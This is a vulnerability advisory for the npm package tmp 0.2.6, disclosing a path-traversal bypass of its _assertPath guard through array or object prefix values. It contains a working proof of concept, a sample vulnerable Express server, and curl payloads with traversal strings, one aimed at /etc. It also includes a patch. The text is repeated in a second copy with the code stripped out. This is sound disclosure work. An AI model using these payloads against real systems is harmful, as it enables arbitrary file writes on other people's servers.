Summary
The _assertPath guard added to tmp@0.2.6 rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges.
This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion.
Impact
- Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions.
- Directory creation outside the intended tree (via
tmp.dir{,Sync}), which can then host a subsequent symlink swap.
- File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.
Affected versions
tmp >= 0.2.6 (the _assertPath guard introduced by commit 7ef2728 / merged in efa4a06). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.
Vulnerable code
lib/tmp.js at tag v0.2.6, commit 41f7159:
// lib/tmp.js:533-539
function _assertPath(path) {
if (path.includes("..")) {
throw new Error("Relative value not allowed");
}
return path;
}
// lib/tmp.js:577-580
options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
// lib/tmp.js:515-525 - opts.prefix and opts.postfix are stringified by Array.prototype.join
const name = [
opts.prefix ? opts.prefix : 'tmp',
'-',
process.pid,
'-',
_randomChars(12),
opts.postfix ? '-' + opts.postfix : ''
].join('');
return path.join(tmpDir, opts.dir, name);
Root cause: _assertPath assumes its argument is a string. For an Array argument, Array.prototype.includes('..') checks element equality (so ['../escape'].includes('..') is false); for an arbitrary object, Object.prototype.includes does not exist and a duck-typed includes: () => false defeats the check entirely. In both shapes, the subsequent [...].join('') and path.join(...) coerce the value to its underlying string, which still contains ../.
How untrusted data reaches _assertPath
Two production-realistic shapes that yield a non-string prefix/postfix/template:
- JSON request bodies.
express.json() (and any other JSON body parser) preserves the parsed value's type. A body of {"prefix":["../escape"]} reaches the handler as an Array.
qs-style bracket-array query strings. Express 4's default qs parser turns ?prefix[]=../escape into ['../escape']. The same applies to any framework using qs (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).
The consumer pattern is the natural one - forward req.body.prefix directly into tmp.file({ prefix, tmpdir }) with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.
Proof of concept (string vs array)
poc.js (run after npm install tmp@0.2.6):
const tmp = require('tmp');
const path = require('path');
const fs = require('fs');
const baseDir = fs.mkdtempSync('/tmp/safe-base-');
console.log('[negative control] string "../escape" - must be blocked');
try {
const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' });
console.log(' UNEXPECTED, file at:', r.name);
r.removeCallback();
} catch (e) {
console.log(' BLOCKED as expected:', e.message);
}
console.log('\n[bypass] array ["../escape"] - same effective value, not blocked');
try {
const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] });
console.log(' CREATED at:', r.name);
console.log(' ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
r.removeCallback();
} catch (e) {
console.log(' BLOCKED:', e.message);
}
console.log('\n[bypass] duck-typed object {toString, includes} - also not blocked');
try {
const r = tmp.fileSync({
tmpdir: baseDir,
prefix: { toString: () => '../escape', includes: () => false }
});
console.log(' CREATED at:', r.name);
console.log(' ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
r.removeCallback();
} catch (e) {
console.log(' BLOCKED:', e.message);
}
Observed output on tmp@0.2.6:
[negative control] string "../escape" - must be blocked
BLOCKED as expected: Relative value not allowed
[bypass] array ["../escape"] - same effective value, not blocked
CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn
ESCAPED: true
[bypass] duck-typed object {toString, includes} - also not blocked
CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf
ESCAPED: true
End-to-end reproduction (against the deployed npm package)
Install:
mkdir tmp-bypass-poc && cd tmp-bypass-poc
npm init -y
npm install tmp@0.2.6 express@5
victim-server.js - realistic Express app that forwards a JSON body field into tmp.file:
const express = require('express');
const tmp = require('tmp');
const fs = require('fs');
const path = require('path');
const app = express();
app.use(express.json());
const TENANT_BASE = fs.mkdtempSync('/tmp/tenant-base-');
console.log('[victim] Tenant base dir:', TENANT_BASE);
app.post('/upload', (req, res) => {
const userPrefix = req.body.prefix; // attacker-controlled
console.log('[victim] received prefix:', JSON.stringify(userPrefix),
'(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')');
tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) => {
if (err) {
console.log('[victim] tmp error:', err.message);
return res.status(400).json({ error: err.message });
}
fs.writeSync(fd, 'attacker-controlled-content');
fs.closeSync(fd);
const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));
console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped);
res.json({ filepath, escaped, tenantBase: TENANT_BASE });
});
});
app.listen(3000, () => console.log('[victim] http://127.0.0.1:3000'));
Run:
Drive three requests from another shell:
echo '=== ATTACK 1: string prefix - caught by 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
-d '{"prefix":"../escape-string"}' http://127.0.0.1:3000/upload
echo
echo '=== ATTACK 2: array prefix - bypasses 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
-d '{"prefix":["../escape-array"]}' http://127.0.0.1:3000/upload
echo
echo '=== ATTACK 3: multi-level traversal toward /etc ==='
curl -s -X POST -H 'Content-Type: application/json' \
-d '{"prefix":["../../../etc/poc-tmp-bypass"]}' http://127.0.0.1:3000/upload
Captured transcript (verbatim from the test rig):
=== ATTACK 1: string prefix - caught by 0.2.6 ===
{"error":"Relative value not allowed"}
=== ATTACK 2: array prefix - bypasses 0.2.6 ===
{"filepath":"/private/tmp/escape-array-79635-gEFyGCBNFSTh","escaped":true,"tenantBase":"/tmp/tenant-base-3XHwPZ"}
=== ATTACK 3: multi-level traversal toward /etc ===
{"error":"EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'"}
Server log:
[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ
[victim] received prefix: "../escape-string" (type: string )
[victim] tmp error: Relative value not allowed
[victim] received prefix: ["../escape-array"] (type: array )
[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true
[victim] received prefix: ["../../../etc/poc-tmp-bypass"] (type: array )
[victim] tmp error: EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'
Observations:
- ATTACK 1 (string
../escape-string) is rejected at _assertPath. The 0.2.6 guard works for plain strings.
- ATTACK 2 (array
["../escape-array"]) passes the guard and creates a file at /private/tmp/escape-array-..., outside the tenant base /tmp/tenant-base-3XHwPZ. The file content is attacker-controlled-content. Confirmed with ls:
$ ls -la /tmp/escape-array-*
-rw-------@ 1 rick wheel 27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh
$ cat /tmp/escape-array-*
attacker-controlled-content
$ ls -la /tmp/tenant-base-3XHwPZ/
total 0
drwx------ 2 rick wheel 64 May 27 20:25 .
Tenant base is empty. The escape is complete.
- ATTACK 3 (array
["../../../etc/poc-tmp-bypass"]) reaches fs.open for /etc/poc-tmp-bypass-.... The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.
Negative control with patched build
Applying the suggested fix below and re-running ATTACK 2:
=== ATTACK 2: array prefix - after fix ===
{"error":"prefix option must be a string, got \"object\"."}
The patched build rejects non-string prefix/postfix/template with a clear type error before the path is constructed.
Suggested fix
Patch _assertPath to require a string argument. The check value.includes('..') is sound only over strings; any non-string with a custom or array-element includes semantics bypasses it.
--- a/lib/tmp.js
+++ b/lib/tmp.js
@@ -528,11 +528,14 @@ function _generateTmpName(opts) {
/**
- * Check the prefix and postfix options
+ * Check the prefix, postfix, and template options
*
* @private
*/
-function _assertPath(path) {
- if (path.includes("..")) {
+function _assertPath(option, value) {
+ if (typeof value !== 'string') {
+ throw new Error(`${option} option must be a string, got "${typeof value}".`);
+ }
+ if (value.includes("..")) {
throw new Error("Relative value not allowed");
}
- return path;
+ return value;
}
@@ -575,9 +578,9 @@ function _assertOptionsBase(options) {
options.unsafeCleanup = !!options.unsafeCleanup;
// for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to
- options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
- options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
- options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
+ options.prefix = _isUndefined(options.prefix) ? '' : _assertPath('prefix', options.prefix);
+ options.postfix = _isUndefined(options.postfix) ? '' : _assertPath('postfix', options.postfix);
+ options.template = _isUndefined(options.template) ? undefined : _assertPath('template', options.template);
}
Defence-in-depth, recommended in addition to the type check: validate the final resolved path against tmpdir after _generateTmpName, similar to what _getRelativePath already does for dir and template. That way any future bypass through a different vector (e.g., a future Node path change, or a different option) does not exit tmpdir.
Fix PR
https://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1
Credit
Reported by tonghuaroot.
Summary
The
_assertPathguard added totmp@0.2.6rejects only string values that contain the substring... It is bypassed whenprefix,postfix, ortemplateis supplied as a non-string value (Array, Buffer, or any object) whoseincludes('..')returns falsy but whose stringification still contains../. The value flows throughArray.prototype.join/Stringcoercion inside_generateTmpNameandpath.join(tmpDir, opts.dir, name), producing a final path that escapestmpdirand creates a file or directory at an attacker-controlled location with the host process's privileges.This affects any application that forwards untrusted request data (a common pattern is JSON body fields or
qs-parsed bracket-array query strings such as?prefix[]=...) intotmp.file,tmp.fileSync,tmp.dir,tmp.dirSync,tmp.tmpName, ortmp.tmpNameSyncwithout explicit type coercion.Impact
tmp.dir{,Sync}), which can then host a subsequent symlink swap.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.
Affected versions
tmp>= 0.2.6 (the_assertPathguard introduced by commit 7ef2728 / merged in efa4a06). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.Vulnerable code
lib/tmp.jsat tagv0.2.6, commit 41f7159:Root cause:
_assertPathassumes its argument is a string. For anArrayargument,Array.prototype.includes('..')checks element equality (so['../escape'].includes('..')isfalse); for an arbitrary object,Object.prototype.includesdoes not exist and a duck-typedincludes: () => falsedefeats the check entirely. In both shapes, the subsequent[...].join('')andpath.join(...)coerce the value to its underlying string, which still contains../.How untrusted data reaches
_assertPathTwo production-realistic shapes that yield a non-string
prefix/postfix/template:express.json()(and any other JSON body parser) preserves the parsed value's type. A body of{"prefix":["../escape"]}reaches the handler as an Array.qs-style bracket-array query strings. Express 4's defaultqsparser turns?prefix[]=../escapeinto['../escape']. The same applies to any framework usingqs(Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).The consumer pattern is the natural one - forward
req.body.prefixdirectly intotmp.file({ prefix, tmpdir })with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.Proof of concept (string vs array)
poc.js(run afternpm install tmp@0.2.6):Observed output on
tmp@0.2.6:End-to-end reproduction (against the deployed npm package)
Install:
victim-server.js- realistic Express app that forwards a JSON body field intotmp.file:Run:
node victim-server.js &Drive three requests from another shell:
Captured transcript (verbatim from the test rig):
Server log:
Observations:
../escape-string) is rejected at_assertPath. The 0.2.6 guard works for plain strings.["../escape-array"]) passes the guard and creates a file at/private/tmp/escape-array-..., outside the tenant base/tmp/tenant-base-3XHwPZ. The file content isattacker-controlled-content. Confirmed withls:Tenant base is empty. The escape is complete.
["../../../etc/poc-tmp-bypass"]) reachesfs.openfor/etc/poc-tmp-bypass-.... The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.Negative control with patched build
Applying the suggested fix below and re-running ATTACK 2:
The patched build rejects non-string
prefix/postfix/templatewith a clear type error before the path is constructed.Suggested fix
Patch
_assertPathto require a string argument. The checkvalue.includes('..')is sound only over strings; any non-string with a custom or array-elementincludessemantics bypasses it.Defence-in-depth, recommended in addition to the type check: validate the final resolved path against
tmpdirafter_generateTmpName, similar to what_getRelativePathalready does fordirandtemplate. That way any future bypass through a different vector (e.g., a future Nodepathchange, or a different option) does not exittmpdir.Fix PR
https://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1
Credit
Reported by tonghuaroot.